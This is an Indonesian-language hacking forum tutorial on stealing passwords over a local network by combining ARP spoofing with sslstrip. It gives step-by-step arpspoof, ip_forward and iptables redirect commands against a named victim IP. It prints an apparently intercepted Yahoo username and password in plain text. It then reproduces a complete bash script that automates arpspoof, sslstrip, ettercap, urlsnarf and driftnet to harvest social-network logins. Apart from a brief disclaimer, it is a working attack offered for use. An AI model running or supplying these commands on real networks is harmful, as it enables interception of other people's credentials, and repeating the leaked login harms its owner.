sslstrip pwned htpps

ok langsung aja deh ...

caution : semua tutorial ini hanyalah untuk pengetahuan semata... segala tindak kejahatan atau penyalahgunaan dari tutorial ini bukan tanggung jawab saya ....

informasi target ..

ip address ane : 192.168.1.34
ip address target : 192.168.1.2
ip gateway : 192.168.1.1

options sesion ...

Code:

$ sslstrip --help

sslstrip 0.6 by Moxie Marlinspike
Usage: sslstrip <options>

Options:
-w <filename>, --write=<filename> Specify file to log to (optional).
-p , --post                       Log only SSL POSTs. (default)
-s , --ssl                        Log all SSL traffic to and from server.
-a , --all                        Log all SSL and HTTP traffic to and from server.
-l <port>, --listen=<port>        Port to listen on (default 10000).
-f , --favicon                    Substitute a lock favicon on secure requests.
-k , --killsessions               Kill sessions in progress.
-h                                Print this help message.

note :
-opsi -a digunakan untuk logging semua trafic ( http,https)
-opsi -s digunakan untuk logging traficc ssl saja
-opsi -l digunakan untuk listen port ( meredirect port 80 victim,defaultnya 10000 )
-opsi : -w : tempat file dump akan disimpan.

ok ... to the point ..

Code:

$ sslstrip -a -w passwd

sslstrip 0.6 by Moxie Marlinspike running...

sekarang jalankan arp ..

Code:

zee-laptop@IBTeam:~$ arpspoof -i eth0 -t 192.168.1.2 192.168.1.1

dengan keterangan syntax..
opsi -i ( interface )
opsi -t ip address secara spesifik ( target ) ( gateway )

klo bt ente lom ada arpspoof .. install dolo dsniff

Code:

$ sudo apt-get install dsniff

langkah berikutnya kita aktifkan ip forward ..

Spoiler! :

Code:

zee-laptop@IBTeam:~$ su root
root@IBTeam:/home/zee-laptop# echo 1 > /proc/sys/net/ipv4/ip_forward

redirect port victim ( 80 ) ke port sslstrip (10000)

Spoiler! :

Code:

root@IBTeam:/home/zee-laptop# iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 10000

nanti tinggal buka jaring untuk liat hasil tangkapan ..

Spoiler! :

Code:

root@IBTeam:/home/zee-laptop# cat ssl | grep -i "passwd="

url+="?";if(valid_js()){var passwd=form.passwd.value;var challen
function hash2(form){var passwd=form.passwd.value
2011-03-26 22:12:10,004 SECURE POST Data (login.yahoo.com): .tries=1&.src=ym&.md5=&.hash=&.js=&.last=&promo=&.intl=us&.bypass=&.partner=&.u=1esn43t54k0a5&.v=0&.challenge=EzdOJPTgncnTmCU_K.IjpAtfSawf&.yplus=&.emailCode=&pkg=&stepid=&.ev=&hasMsgr=0&.chkP=Y&.done=http%3A%2F%2Fmail.yahoo.com&.pd=ym_ver%3D0%26c%3D%26ivt%3D%26sg%3D&login=nitharamadhan&passwd=imutkucintaku&.save=Sign+In

hmm berarti user = nitharamadhan ...
pass = imutkucintaku

sorry no ss coz koneksi ane cuma pake telkomflash paling murah,.. upload makan quota... thx....

egharts

egharts ( sniffing & arp tools )

Script ini menggunakan  Arpspoof, SSLStrip, Ettercap, Urlsnarf ,Driftnet dan hamster.scriptnya disini

Image exceeds set limits. Click to view full size image

Image exceeds set limits. Click to view full size image

Image exceeds set limits. Click to view full size image

Sniffing password social networking dengen script

1.Pertama-tama kita copas script dibawah dan buat menjadi executable

Spoiler! :

#!/bin/bash

# Script for sniffing https connections.
# Script use Arpspoof, SSLStrip, Ettercap, Urlsnarf and Driftnet.
# Tested on BT4 R2
# BY gHero,cseven,spudgunman.
# Ver 0.2

# ASCII sniff.sh
echo '
.__ _____ _____ .__
______ ____ |__|/ ____\/ ____\ _____| |__
/ ___// \| \ __\\ __\ / ___/ | \
\___ \| | \ || | | | \___ \| Y \
/____ >___| /__||__| |__| /\/____ >___| /
\/ \/ \/ \/ \/
'

echo '1' > /proc/sys/net/ipv4/ip_forward

iptables --flush
sleep 1

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000


# Arpspoof
echo -n -e "Would you like to ARP a (T)arget or full (N)etwork? ";
read ARPOP

if [ "$ARPOP" == "T" ] ; then
echo
echo -e '\E[30;42m'"<Arpspoof Configuration>"; tput sgr0
echo '------------------------'
echo -n -e '\E[37;41m'"Client IP address: "; tput sgr0
read IP1
echo -n -e '\E[30;47m'"Router's IP address: "; tput sgr0
read IP2

echo -n -e '\E[37;44m'"Enter your Interface for example <eth0 or wlan0>: "; tput sgr0
read INT
xterm -fg green4 -bg grey0 -e 'arpspoof -i '$INT' -t '$IP1' '$IP2'' &

else

echo
echo -e '\E[30;42m'"<Arpspoof Configuration>"; tput sgr0
echo '------------------------'
echo -n -e '\E[30;47m'"Router's IP address: "; tput sgr0
read IP2

echo -n -e '\E[37;44m'"Enter your Interface for example <eth0 or wlan0>: "; tput sgr0
read INT
xterm -fg green4 -bg grey0 -e 'arpspoof -i '$INT' '$IP2'' &

fi

# SSLSTRIP
xterm -fg green4 -bg grey0 -e 'sslstrip -a -w ssl_log.txt' &

# ETTERCAP
xterm -fg green4 -bg grey0 -e 'ettercap -T -q -i '$INT'' &

# URLSNARF
xterm -fg green4 -bg grey0 -e 'urlsnarf -i '$INT' | grep http > urlsnarf_log.txt' &

# DRIFTNET
driftnet -p -i $INT &

script diatas bukan ane yang buat bro, ane dapat dr forum backtrack.org

2. kalo udah dicopas save as dengan nama bebas terserah agan, kalo ane sih kasih nama file nya "sniff" dan pastikan buat menjadi executeble

3. selanjutnya execute script tadi dengan command
# ./sniff.sh

4. kalo berhasil akan keluar pertanyaan seperti dibawah ini:

Spoiler! :

Image exceeds set limits. Click to view full size image

5. Tunggu dengan sabar karena kita ga tahu kapan korban akan login ke account FB, Gmail, yahoo dkk. setelah menunggu dengan sabar akhirnya datang eh salah nongol juga tuh password di ettercap

Spoiler! :

Image exceeds set limits. Click to view full size image

mudah kan cara sniffingnya, tapi inget bro jg diacak acak tuh account orang kan dosa.........